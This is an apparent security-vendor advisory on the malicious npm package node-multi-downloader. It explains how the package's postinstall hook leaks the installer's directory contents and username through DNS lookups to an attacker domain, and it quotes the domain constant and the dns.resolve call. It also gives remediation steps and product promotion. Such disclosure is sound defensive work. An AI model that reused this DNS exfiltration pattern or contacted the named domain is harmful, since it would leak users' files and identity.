node-multi-downloadernpm
node-multi-downloader is a confirmed malicious npm package (MAL-2026-5735) that executes malicious code on install (malicious version 5.0.14-rc.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in node-multi-downloader (npm)
What this malware does
On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for node-multi-downloader (version 5.0.14-rc.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging node-multi-downloader across your stack and pipelines.
If you installed it — respond
Remove node-multi-downloader from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If node-multi-downloader was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks node-multi-downloader before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks node-multi-downloader-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.